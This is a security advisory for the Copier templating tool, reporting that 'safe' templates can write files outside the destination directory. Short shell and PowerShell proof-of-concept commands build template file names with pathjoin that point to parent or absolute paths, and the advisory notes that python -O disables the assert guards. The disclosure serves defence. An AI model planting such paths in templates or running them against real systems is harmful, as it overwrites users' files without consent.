GHSA-p7q8-grrj-3m8w Copier's safe template has filesystem write access outside destination path

• PyPI copier: >= 7.1.0, < 9.9.1 → fixed in 9.9.1

Impact Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated. This is possible when rendering a generated directory structure whose rendered path is either a relative parent path or an absolute path. Constructing such paths is possible using Copier's builtin `pathjoin` Jinja filter and its builtin `_copier_conf.sep` variable, which is the platform-native path separator. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc. Write access via generated relative path Reproducible example: ```shell echo "foo" > forbidden.txt mkdir src/ echo "bar" > "src/{{ pathjoin('..', 'forbidden.txt') }}" uvx copier copy src/ dst/ cat forbidden.txt ``` Write access via generated absolute path Reproducible example: • POSIX: ```shell # Assumption: The current working directory is `/tmp/test-copier-vulnerability/` echo "foo" > forbidden.txt mkdir src/ echo "bar" > "src/{{ pathjoin(_copier_conf.sep, 'tmp', 'test-copier-vulnerability', 'forbidden.txt') }}" uvx --from copier python -O -m copier copy --overwrite src/ dst/ cat forbidden.txt ``` • Windows (PowerShell): ```powershell # Assumption: The current working directory is `C:\Users\\Temp\test-copier-vulnerability` echo "foo" > forbidden.txt mkdir src Set-Content -Path src\copier.yml @' drive: type: str default: "C:" when: false '@ echo "bar" > "src\{{ pathjoin(drive, 'Users', '', 'Temp', 'test-copier-vulnerability', 'forbidden.txt') }}" uvx --from copier python -O -m copier copy --overwrite src dst cat forbidden.txt ``` This scenario is slightly less severe, as Copier has a few assertions of the destination path being relative which would typically be raised. But `python -O` (or `PYTHONOPTIMIZE=x`) removes asserts, so these guards may be ineffective. In addition, this scenario will prompt for overwrite confirmation or require the `--overwrite` flag for non-interactive mode; yet malicious file writes might go unnoticed.